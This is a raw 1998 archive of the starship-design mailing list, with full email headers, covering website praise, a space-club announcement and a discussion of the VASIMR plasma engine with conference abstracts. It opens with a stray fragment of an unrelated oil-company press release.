Trace Maurin, president of Cantex, states, ""In today's market, getting a seismic operator is as difficult as trying to get a drilling rig and we are happy to inform our shareholders that we are now very close to proving up the world class potential reserves in the Val Verde play."" This 2D Swath design is licensed by Providence Technologies, which is a unique application that has proved to be effective in the Val Verde Basin where our Prospect is situated. Upon completion of the first swath and data processing it will give a good picture of the structure, and completion of the second swath will give an idea of closure. Cantex Energy Corp. is an independent, managed risk, oil and gas exploration, development, and production company headquartered in San Antonio, Texas. The Company's additional focus is the optimal exploitation and development of approximately 1,200 acres known as the West Ant Hills Prospect located in Niobrara County, Wyoming.",1,0 KellySt@aol.com,"vid@zooid.org, starship-design@lists.uoregon.edu","Sun, 23 Aug 1998 21:46:10 -0400",starship-design: Re:,"In a message dated 8/19/98 8:02:54 AM, you wrote: >Hi, > > > > My friends and I were checking out your www page and we wish to congratulate >you > >on your contributions towards the future of science. > > > >Tally Ho! > >Garth Brooks Thanks a lot, we try to inspire and inform. Kelly Starks >From VM Mon Aug 24 10:00:44 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1113"" ""Sun"" ""23"" ""August"" ""1998"" ""21:46:23"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""43"" ""starship-design: Re: Starhsip Design Project"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1113 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id SAA14361 for starship-design-outgoing; Sun, 23 Aug 1998 18:47:05 -0700 (PDT) Received: from imo27.mx.aol.com (imo27.mx.aol.com [198.81.17.71]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id SAA14349 for ; Sun, 23 Aug 1998 18:47:03 -0700 (PDT) Received: from KellySt@aol.com by imo27.mx.aol.com (IMOv14_b1.1) id 8ZYMa04229; Sun, 23 Aug 1998 21:46:23 +2000 (EDT) Message-ID: <965eba7d.35e0c5f0@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: husofluv@cio.net, starship-design@lists.uoregon.edu Cc: KellySt@aol.com Subject: starship-design: Re: Starhsip Design Project Date: Sun, 23 Aug 1998 21:46:23 EDT In a message dated 8/22/98 2:07:43 AM, husofluv@cio.net wrote: >It is nice to see a web site that seriously considers interstellar travel. > >Some sites on this topic tend to devolve into ""Star Trek"" nonsense or > >scienceless sci-fi-speak fan sites. And while I am as big a Trekkie as they > >come, I like it even better when anyone can discuss or imagine space travel > >in practical, real-science terms. After all, we're going to have to get out > >there SOMEHOW, and we'd better start talking about it and learning what we > >need to learn about interstellar flight right now. Your web site is a breath > >of fresh air! Hence I have added it to my list of top sites for September. > > > >See your link at: > >http://www.home.cio.net/husofluv/Sagan/Sagan.htm > > > > > >Here is a web award graphic if you're so inclined. =^) > > > >---Brad R. Torgersen Thank you very much for your interest. We are trying to seriously consider the topic, and make folks think about space as something we can do in te near future not a few centuries from now. Glad you liked it, and thanks for the listing! Kelly Starks >From VM Mon Aug 24 10:00:44 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1226"" ""Sun"" ""23"" ""August"" ""1998"" ""21:46:15"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""29"" ""starship-design: Re: learn more"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1226 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id SAA14377 for starship-design-outgoing; Sun, 23 Aug 1998 18:47:15 -0700 (PDT) Received: from imo21.mx.aol.com (imo21.mx.aol.com [198.81.17.65]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id SAA14372 for ; Sun, 23 Aug 1998 18:47:13 -0700 (PDT) Received: from KellySt@aol.com by imo21.mx.aol.com (IMOv14_b1.1) id 7YOFa03888; Sun, 23 Aug 1998 21:46:15 +2000 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: bazzi@EMAIL.MSN.COM, starship-design@lists.uoregon.edu, Casanova334@hotmail.com Subject: starship-design: Re: learn more Date: Sun, 23 Aug 1998 21:46:15 EDT In a message dated 8/20/98 12:59:52 PM, you wrote: >Hi, > Your website really attracted my attention!!!! Could u pls tell me what >exactely is the LUNAR INSTITUTE of TECHNOLOGY? Is it sort of a University. >The thing that interested me the most was the ""starship design project"". In >the future, I want to do things that have to do with space. I'm really >fascinated with that kind of stuff. Could u pls send me more info. and >answer my question to my e-mail: Casanova334@hotmail.com > >Thanks!!!!!! Thank you. I'm afraid LIT isn't really a university. There was some intention origionally that it could develop into an online one, but that didn't happen. Its just an on-line group that debates ideas about practical mid 21st century star travel concepts. Its gotten quieter over the last year or two, but for the first couple of years their were hundreds of subcribers to the newsletters, and a lot of debate and analysis. (You might want to browse throu the newsletter archives.) Several of us aer or were people from NASA or the aerospace busness. Lots more were everything from students to submariners. What you se in the site and the archives is what we came up with. Hope this helps. Kelly Starks >From VM Wed Aug 26 10:04:57 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2391"" ""Wed"" ""26"" ""August"" ""1998"" ""17:57:03"" ""+0200"" ""Zenon Kulpa"" ""zkulpa@zmit1.ippt.gov.pl"" nil ""55"" ""starship-design: URANOS Club"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2391 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id JAA19148 for starship-design-outgoing; Wed, 26 Aug 1998 09:00:59 -0700 (PDT) Received: from zmit1.ippt.gov.pl (zmit1.ippt.gov.pl [148.81.53.8]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id JAA19141 for ; Wed, 26 Aug 1998 09:00:54 -0700 (PDT) Received: (from zkulpa@localhost) by zmit1.ippt.gov.pl (8.8.5/8.7.3-zmit) id RAA00785; Wed, 26 Aug 1998 17:57:03 +0200 (MET DST) Message-Id: <199808261557.RAA00785@zmit1.ippt.gov.pl> Precedence: bulk Reply-To: Zenon Kulpa From: Zenon Kulpa Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Cc: zkulpa@zmit1.ippt.gov.pl Subject: starship-design: URANOS Club Date: Wed, 26 Aug 1998 17:57:03 +0200 (MET DST) ----------------------------------------------------------- --> http://www.uranos.eu.org/uranose.html <-- * * **** *** * * *** **** * * * * * * * * ** * * * * * * * * * * * **** ***** * * * * * *** * * * * * * * * * * * * ** * * * * * *** * * * * * * *** **** CLUB * for * EXPANSION * of * CIVILIZATION * into * SPACE grouping people interested in the development of human civilization and its expansion into extraterrestial space ----------------------------------------------------------- WELCOME! WELCOME! We would like to invite you for a visit to WWW pages of a new Internet Club * URANOS * In our opinion, expansion of humanity into space is a prerequisite for further development of our civilization. We are afraid, however, that recognition of this necessity is still infrequent among people, which may constitute a bigger problem than possible technological difficulties. Hence it is necessary to constantly remind people that the world does not end at the limit of Earth's athmosphere. ----------------------------------------------------------- At the address: http://www.uranos.eu.org/uranose.html you will find, among others: - Our Club Manifesto, spelling out our views on the current challenges facing the Earth's civilization; - A rich collection of links to the most interesting WWW pages dedicated to space exploration; - Many more attractions - in preparation! PLEASE PAY US A VISIT AND HELP US IN OUR ACTIVITIES! Club Founders: -- Andrzej K. Brandt -- Zenon Kulpa ""Earth is the cradle of humanity, but one cannot live in a cradle forever."" [Konstantin E. Tsiolkovski] ----------------------------------------------------------- PLEASE NOTE: The activities of our Club are aimed mostly at the Polish-speaking community around the world. However, since encouragements, advice, and any other help from the rest of the world are also gladly received and greatly appreciated by us, we maintain also English versions of the more important pages of our site. ----------------------------------------------------------- Please forward! * Please forward! >From VM Mon Aug 31 09:55:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""4322"" ""Sat"" ""29"" ""August"" ""1998"" ""15:40:32"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""106"" ""starship-design: Plasma Engine"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 4322 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id NAA07397 for starship-design-outgoing; Sat, 29 Aug 1998 13:42:08 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id NAA07328 for ; Sat, 29 Aug 1998 13:42:05 -0700 (PDT) Received: from lparker (p266.gnt.com [204.49.91.26]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id PAA09757 for ; Sat, 29 Aug 1998 15:42:01 -0500 Message-ID: <000601bdd38d$45151160$365b31cc@lparker> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0007_01BDD363.5C3F0960"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Subject: starship-design: Plasma Engine Date: Sat, 29 Aug 1998 15:40:32 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0007_01BDD363.5C3F0960 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Does anyone know anything else about this? ""The most amazing thing I saw this week was the rocket engine of the future. It's been the life's work of astronaut Franklin Chang-Diaz. He started working on the plasma engine in college, and now, at age 48, he's got a demonstration version of the engine in his lab in Houston. The scale model is about 30 feet long. I'm not a plasma physicist, but Chang-Diaz is, and he explains the engine this way: You put a small amount of hydrogen into one end of the engine. It's turned into plasma, a burning gas as hot as the surface of the sun. Radio waves from an on-board transmitter are used to create the plasma and then a series of electromagnets that circle the central chamber keep the plasma from touching the metal sides of the engine. The super-hot plasma is then moved down to the exhaust nozzle, where is pushes the engine away. Unlike engines that use solid or liquid fuel, the plasma engine is much more efficient. Chang-Diaz says it gets more miles per gallon than you can imagine. In addition, it's much faster than anything in use today. It can travel from the Earth to Mars in 90 days. That's twice as fast as current technology allows. Chang-Diaz is working with a group of college students to develop the engine and one of them, Lenny Cassady, has worked out a flight plan. He believes it will be ready to launch on May 16, 2018. That's about the time Lenny says he'd be ready to fly the plasma-powered spaceship to Mars."" Lee ------=_NextPart_000_0007_01BDD363.5C3F0960 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Does=20 anyone know anything else about this?     ""The most amazing thing I saw this week was = the rocket=20 engine of the future. It's been the life's work of astronaut Franklin=20 Chang-Diaz. He started working on the plasma engine in college, and now, = at age=20 48, he's got a demonstration version of the engine in his lab in = Houston. The=20 scale model is about 30 feet long. I'm not a plasma physicist, but Chang-Diaz is, and he explains the = engine=20 this way: You put a small amount of hydrogen into one end of the engine. = It's=20 turned into plasma, a burning gas as hot as the surface of the sun. = Radio waves=20 from an on-board transmitter are used to create the plasma and then a = series of=20 electromagnets that circle the central chamber keep the plasma from = touching the=20 metal sides of the engine. The super-hot plasma is then moved down to = the=20 exhaust nozzle, where is pushes the engine away.=20 Unlike engines that use solid or liquid fuel, the plasma engine is = much more=20 efficient. Chang-Diaz says it gets more miles per gallon than you can = imagine.=20 In addition, it's much faster than anything in use today. It can travel = from the=20 Earth to Mars in 90 days. That's twice as fast as current technology = allows.=20 Chang-Diaz is working with a group of college students to develop the = engine=20 and one of them, Lenny Cassady, has worked out a flight plan. He = believes it=20 will be ready to launch on May 16, 2018. That's about the time Lenny = says he'd=20 be ready to fly the plasma-powered spaceship to Mars.""   Lee  ------=_NextPart_000_0007_01BDD363.5C3F0960-- >From VM Mon Aug 31 09:55:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""7157"" ""Sat"" ""29"" ""August"" ""1998"" ""21:32:03"" ""-0400"" ""William Thomas"" ""wthomas@mint.net"" nil ""171"" ""Re: starship-design: Plasma Engine"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 7157 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id FAA26109 for starship-design-outgoing; Sun, 30 Aug 1998 05:23:26 -0700 (PDT) Received: from mint.mint.net (root@mint.mint.net [204.254.98.16]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id FAA26103 for ; Sun, 30 Aug 1998 05:23:23 -0700 (PDT) Received: from WilliamThomas (ddialup-r-156.mint.net [208.220.38.176]) by mint.mint.net (8.8.8/8.8.5) with SMTP id IAA23469; Sun, 30 Aug 1998 08:23:17 -0400 Message-ID: <000001bdd411$365ae120$b026dcd0@WilliamThomas> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_001E_01BDD394.76839F80"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Precedence: bulk Reply-To: ""William Thomas"" From: ""William Thomas"" Sender: owner-starship-design@lists.uoregon.edu To: ""L. Parker"" , ""Starship Design"" Subject: Re: starship-design: Plasma Engine Date: Sat, 29 Aug 1998 21:32:03 -0400 This is a multi-part message in MIME format. ------=_NextPart_000_001E_01BDD394.76839F80 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I am also not a plasma physicist, however, it would seem to me that if = someone was able to create great amounts of energy (enough to hurl forth = a starship at high velocity while powering a super elctro magnet) simply = by juicing up some hydrogen with radio waves, there would be a lot more = useful and accessible applications right here on earth. William Thomas wthomas@mint.net -----Original Message----- From: L. Parker To: Starship Design Date: Saturday, August 29, 1998 5:08 PM Subject: starship-design: Plasma Engine =20 =20 Does anyone know anything else about this? =20 =20 ""The most amazing thing I saw this week was the rocket engine of the = future. It's been the life's work of astronaut Franklin Chang-Diaz. He = started working on the plasma engine in college, and now, at age 48, = he's got a demonstration version of the engine in his lab in Houston. = The scale model is about 30 feet long.=20 I'm not a plasma physicist, but Chang-Diaz is, and he explains the = engine this way: You put a small amount of hydrogen into one end of the = engine. It's turned into plasma, a burning gas as hot as the surface of = the sun. Radio waves from an on-board transmitter are used to create the = plasma and then a series of electromagnets that circle the central = chamber keep the plasma from touching the metal sides of the engine. The = super-hot plasma is then moved down to the exhaust nozzle, where is = pushes the engine away.=20 Unlike engines that use solid or liquid fuel, the plasma engine is = much more efficient. Chang-Diaz says it gets more miles per gallon than = you can imagine. In addition, it's much faster than anything in use = today. It can travel from the Earth to Mars in 90 days. That's twice as = fast as current technology allows.=20 Chang-Diaz is working with a group of college students to develop = the engine and one of them, Lenny Cassady, has worked out a flight plan. = He believes it will be ready to launch on May 16, 2018. That's about the = time Lenny says he'd be ready to fly the plasma-powered spaceship to = Mars."" =20 Lee=20 ------=_NextPart_000_001E_01BDD394.76839F80 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I am also not a plasma physicist, = however, it=20 would seem to me that if someone was able to create great amounts of = energy=20 (enough to hurl forth a starship at high velocity while powering a super = elctro=20 magnet) simply by juicing up some hydrogen with radio waves, there would = be a=20 lot more useful and accessible applications right here on = earth.   William=20 Thomaswthomas@mint.net<= FONT=20 face=3D""Eras Demi ITC""> -----Original=20 Message-----From: L. Parker To:=20 Starship Design Date:=20 Saturday, August 29, 1998 5:08 PMSubject: = starship-design:=20 Plasma Engine Does anyone know anything else about=20 this?     ""The most amazing thing I saw this week was = the rocket=20 engine of the future. It's been the life's work of astronaut = Franklin=20 Chang-Diaz. He started working on the plasma engine in college, and = now, at=20 age 48, he's got a demonstration version of the engine in his lab in = Houston. The scale model is about 30 feet long. I'm not a plasma physicist, but = Chang-Diaz is,=20 and he explains the engine this way: You put a small amount of = hydrogen into=20 one end of the engine. It's turned into plasma, a burning gas as hot = as the=20 surface of the sun. Radio waves from an on-board transmitter are = used to=20 create the plasma and then a series of electromagnets that circle = the=20 central chamber keep the plasma from touching the metal sides of the = engine.=20 The super-hot plasma is then moved down to the exhaust nozzle, where = is=20 pushes the engine away. Unlike engines that use solid or = liquid fuel,=20 the plasma engine is much more efficient. Chang-Diaz says it gets = more miles=20 per gallon than you can imagine. In addition, it's much faster than = anything=20 in use today. It can travel from the Earth to Mars in 90 days. = That's twice=20 as fast as current technology allows. Chang-Diaz is working with a group = of college=20 students to develop the engine and one of them, Lenny Cassady, has = worked=20 out a flight plan. He believes it will be ready to launch on May 16, = 2018.=20 That's about the time Lenny says he'd be ready to fly the = plasma-powered=20 spaceship to Mars.""   Lee  ------=_NextPart_000_001E_01BDD394.76839F80-- >From VM Mon Aug 31 09:55:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2902"" ""Sun"" ""30"" ""August"" ""1998"" ""10:13:01"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""77"" ""RE: starship-design: Plasma Engine"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2902 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id IAA18828 for starship-design-outgoing; Sun, 30 Aug 1998 08:15:40 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id IAA18766 for ; Sun, 30 Aug 1998 08:15:37 -0700 (PDT) Received: from lparker (p266.gnt.com [204.49.91.26]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id KAA10622; Sun, 30 Aug 1998 10:15:22 -0500 Message-ID: <001601bdd428$adfc10c0$365b31cc@lparker> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0017_01BDD3FE.C52608C0"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <000001bdd411$365ae120$b026dcd0@WilliamThomas> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""William Thomas"" Cc: ""Starship Design"" Subject: RE: starship-design: Plasma Engine Date: Sun, 30 Aug 1998 10:13:01 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0017_01BDD3FE.C52608C0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit On a small scale, it is used in welding and metal fabrication. Plasma beams have been around for over ten years in industry. Of course, these applications are the equivalent of a penlight when compared to a plasma engine. Lee -----Original Message----- From: William Thomas [mailto:wthomas@mint.net] Sent: Saturday, August 29, 1998 8:32 PM To: L. Parker; Starship Design Subject: Re: starship-design: Plasma Engine I am also not a plasma physicist, however, it would seem to me that if someone was able to create great amounts of energy (enough to hurl forth a starship at high velocity while powering a super elctro magnet) simply by juicing up some hydrogen with radio waves, there would be a lot more useful and accessible applications right here on earth. ------=_NextPart_000_0017_01BDD3FE.C52608C0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable On a=20 small scale, it is used in welding and metal fabrication. Plasma beams = have been=20 around for over ten years in industry. Of course, these applications are = the=20 equivalent of a penlight when compared to a plasma = engine.   Lee -----Original Message-----From: William Thomas=20 [mailto:wthomas@mint.net]Sent: Saturday, August 29, 1998 = 8:32=20 PMTo: L. Parker; Starship DesignSubject: Re:=20 starship-design: Plasma Engine I am also not a plasma physicist, = however,=20 it would seem to me that if someone was able to create great amounts = of=20 energy (enough to hurl forth a starship at high velocity while = powering a=20 super elctro magnet) simply by juicing up some hydrogen with radio = waves,=20 there would be a lot more useful and accessible applications right = here on=20 earth.     ------=_NextPart_000_0017_01BDD3FE.C52608C0-- >From VM Mon Aug 31 09:55:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""19450"" ""Sun"" ""30"" ""August"" ""1998"" ""10:12:43"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""421"" ""starship-design: Plasma Engine (VASIMR)"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 19450 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id IAA18461 for starship-design-outgoing; Sun, 30 Aug 1998 08:15:25 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id IAA18391 for ; Sun, 30 Aug 1998 08:15:22 -0700 (PDT) Received: from lparker (p266.gnt.com [204.49.91.26]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id KAA10614 for ; Sun, 30 Aug 1998 10:15:17 -0500 Message-ID: <001101bdd428$a3925ae0$365b31cc@lparker> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0012_01BDD3FE.BABC52E0"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Subject: starship-design: Plasma Engine (VASIMR) Date: Sun, 30 Aug 1998 10:12:43 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0012_01BDD3FE.BABC52E0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit I found more information on the plasma engine mentioned on CNN. I knew about VASIMR before, but had not made the connection with Franklin Chang-Diaz. These abstracts may help give a better understanding of his plasma engine. I pointed out to the group once before that much of the research going into VASIMR can also be applied to other concepts such as ACMF that are not as far along. This device is apparently is in test stand stage (it could be flyable in a few years) while ACMF is in test bed stage. There are also several other approaches such as Dense Plasma Focus, Star Thrust, Inertial Electrostatic Confinement, and the Synchrotron Radiation Drive currently in various stages of testing. Both VASIMR and ACMF/AIMSTAR offer delta v in the +200km/sec range making them suitable for relatively rapid interplanetary travel. Mini-conference on Deep Space Plasma Thrusters. MIXED session, Thursday afternoon, November 20 North 6, Convention Center [pThpM2.01] Research Status of the Variable Specific Impulse Magnetoplasma Rocket F. R. Chang-Diaz ((ASPL/JSC/NASA)) Research in the VASIMR approach to high-power rocket propulsion has continued since 1980. The system consists of a three-stage asymmetric magnetic mirror, featuring a hybrid magnetic nozzle. Plasma is injected, heated and subsequently exhausted to provide modulated thrust and specific impulse at constant power. Plasma injector studies initially involve a modified Lorentz Force Accelerator. Other injector concepts, including helicons and hollow cathodes are briefly examined. Plasma heating methodsinvolve electron and ion cyclotron resonance, though other efficiency enhancements such as whistlers and mode coupling are being explored. Plasma detachment dynamics from the magnetic nozzle are considered. In the low temperature, high density regime, the use of a co-axial, hypersonic neutral gas boundary layer near the nozzle throat increases the thrust while triggering collisional plasma detachment. In the high temperature, low density regime, inducing time-dependent magnetic ripples in the nozzle is a potential turbulence-inducing mechanism for plasma detachment. Experimental studies currently focus on plasma injection and heating to power levels of up to 200kW in pulses of several seconds. A diagnostics set characterizes the plasma conditions throughout the system. Performance and advantages over other rocket technologies are presented in the context of a mission to Mars. [pThpM2.02] A Plasma Diagnostic Set for the Study of a Variable Specific Impulse Magnetoplasma Rocket J. P. Squire, F. R. Chang-Diaz ((ASPL/JSC/NASA)), R. Bengtson, Jr. Bussell, V. T. Jacobson, A. J. Wootton ((University of Texas at Austin)), E. A. Bering, T. Jack, A. Rabeau ((University of Houston)) The Advanced Space Propulsion Laboratory (ASPL) is developing a Variable Specific Impulse Magnetoplasma Rocket (VASIMR) using an RF heated magnetic mirror operated asymmetrically. We will describe the initial set of plasma diagnostics and data acquisition system being developed and installed on the VASIMR experiment. A U.T. Austin team is installing two fast reciprocating probes: a quadruple Langmuir and a Mach probe. These measure electron density and temperature profiles, electrostatic plasma fluctuations, and plasma flow profiles. The University of Houston is developing an array of 20 highly directional Retarding Potential Analyzers (RPA) for measuring ion energy distribution function profiles in the rocket plume, giving a measurement of total thrust. We have also developed a CAMAC based data acquisition system using LabView running on a Power Macintosh communicating through a 2 MB/s serial highway. We will present data from initial plasma operations and discuss future diagnostic development. [pThpM2.03] An Injector for the Variable Specific Impulse Magnetoplasma Rocket T. W. Glover ((Rice University)), F. R. Chang-Diaz, J. P. Squire ((ASPL/JSC/NASA)), A. A. Chan ((Rice University)) We present a summary of progress on the development of a plasma injector for NASA's VASIMR (Variable Specific Impulse Magnetoplasma Rocket) engine. The plasma rocket constrains a flowing plasma in an asymmetric magnetic bottle and exhausts it through a magnetic nozzle to produce thrust. The injector is a plasma source located on the axis of symmetry, forward of the series of coils forming the constraining magnetic field. The injector is intended to produce a well-collimated jet of highly ionized plasma which will enter the central cell of the machine through its forward mirror. The prototype design is based on that of a Lorentz Force Accelerator developed as a thruster by the electric propulsion research group at Princeton. Our investigation focuses on the effects of the rocket's magnetic field on the operation of the injector, the effect of a local magnetic field on the discharge behavior, and the effectiveness of discharge initiation by glow discharge versus initiation by ECRH. We evaluate the performance of this prototype injector by comparing the characteristics of the plasma it inserts into the central cell of the engine with the characteristics called for in the design of the plasma rocket. [pThpM2.04] ICRF Development for the Variable Specific Impulse Magnetoplasma Rocket P. M. Ryan ((Oak Ridge National Laboratory)), F. W. Baity, G. C. Barber, M. D. Carter, D. J. Hoffman, E. F. Jaeger, D. J. Taylor ((ORNL)), F. R. Chang-Diaz, J. P. Squire ((ASPL/NASA/JSC)), G. McCaskill ((Lockheed Martin Corporation)) The feasibility of using magnetically vectored and rf-heated plasmas for space propulsion (F. R. Chang-Diaz, et al.\\rm, Bull. Am. Phys. Soc., 41, 1541 (1996)) is being investigated experimentally on an asymmetric magnetic mirror device at the Advanced Space Propulsion Laboratory (ASPL), Johnson Space Center, NASA. Analysis of the antenna interaction with and the wave propagation through the dense plasma propulsion system is being studied at ORNL(Oak Ridge National Laboratory, managed by Lockheed Martin Energy Research Corp. for the U.S. Department of Energy under contract number DE-AC05-96OR22464.), using antenna design codes developed for ICH systems and mirror codes developed for the EBT experiment at ORNL. The present modeling effort is directed toward the ASPL experimental device. Antenna optimization and performance, as well as the design considerations for space-qualified rf components and systems (minimizing weight while maximizing reliability) will be presented. [pThpM2.05] Single Particle Dynamics in a Variable Specific Impulse Magnetoplasma Rocket A. Ilin ((Lockheed Martin Space Mission Systems amp; Services)), F. R. Chang-Diaz, J. P. Squire ((ASPL/JSC/NASA)) The behavior of single charged particles in a Variable Specific Impulse Magnetoplasma Rocket (VASIMR) is examined. Of particular importance is the effect of a magnetic nozzle in enhancing the axial momentum of the exhaust. Also, different geometries and rocket asymmetries are considered. The magnetic configuration is modeled with an adaptable mesh which increases accuracy without compromising the speed of the simulation. The single particle trajectories are integrated with a finite difference approach which can quickly solve for systems of thousands of particles in a reasonable time (1-2 hours) and without the need for a powerful supercomputer. The magnetic model is also used to examine the possibility for magnetic shielding of human spacecraft, equipped with VASIMR propulsion systems, against some forms of solar radiation. ------=_NextPart_000_0012_01BDD3FE.BABC52E0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I found more = information on the=20 plasma engine mentioned on CNN.   I knew about VASIMR before, but had = not made the=20 connection with Franklin Chang-Diaz. These abstracts may help give a = better=20 understanding of his plasma engine. I pointed out to the group once = before that=20 much of the research going into VASIMR can also be applied to other = concepts=20 such as ACMF that are not as far = along.   This device is apparently is in test stand stage (it could be = flyable in=20 a few years) while ACMF is in test bed stage. There are also several = other=20 approaches such as Dense Plasma Focus, Star Thrust, Inertial = Electrostatic=20 Confinement, and the Synchrotron Radiation Drive currently in various = stages of=20 testing.   Both VASIMR and ACMF/AIMSTAR offer delta v in the +200km/sec = range making=20 them suitable for relatively rapid interplanetary = travel.     Mini-conference on Deep Space = Plasma=20 Thrusters.MIXED session, Thursday afternoon, November 20 = North=20 6, Convention Center [pThpM2.01]<= /A>=20 Research Status of the Variable Specific Impulse Magnetoplasma=20 RocketF. R. = Chang-Diaz=20 ((ASPL/JSC/NASA)) Research in the VASIMR approach = to high-power=20 rocket propulsion has continued since 1980. The system consists of a = three-stage=20 asymmetric magnetic mirror, featuring a hybrid magnetic nozzle. Plasma = is=20 injected, heated and subsequently exhausted to provide modulated thrust = and=20 specific impulse at constant power. Plasma injector studies initially = involve a=20 modified Lorentz Force Accelerator. Other injector concepts, including = helicons=20 and hollow cathodes are briefly examined. Plasma heating methodsinvolve = electron=20 and ion cyclotron resonance, though other efficiency enhancements such = as=20 whistlers and mode coupling are being explored. Plasma detachment = dynamics from=20 the magnetic nozzle are considered. In the low temperature, high density = regime,=20 the use of a co-axial, hypersonic neutral gas boundary layer near the = nozzle=20 throat increases the thrust while triggering collisional plasma = detachment. In=20 the high temperature, low density regime, inducing time-dependent = magnetic=20 ripples in the nozzle is a potential turbulence-inducing mechanism for = plasma=20 detachment. Experimental studies currently focus on plasma injection and = heating=20 to power levels of up to 200kW in pulses of several seconds. A = diagnostics set=20 characterizes the plasma conditions throughout the system. Performance = and=20 advantages over other rocket technologies are presented in the context = of a=20 mission to Mars. [pThpM2.02]<= /A> A=20 Plasma Diagnostic Set for the Study of a Variable Specific Impulse = Magnetoplasma=20 RocketJ. P. = Squire, F. R.=20 Chang-Diaz ((ASPL/JSC/NASA)), R. Bengtson, Jr. Bussell, V. T. Jacobson, = A. J.=20 Wootton ((University of 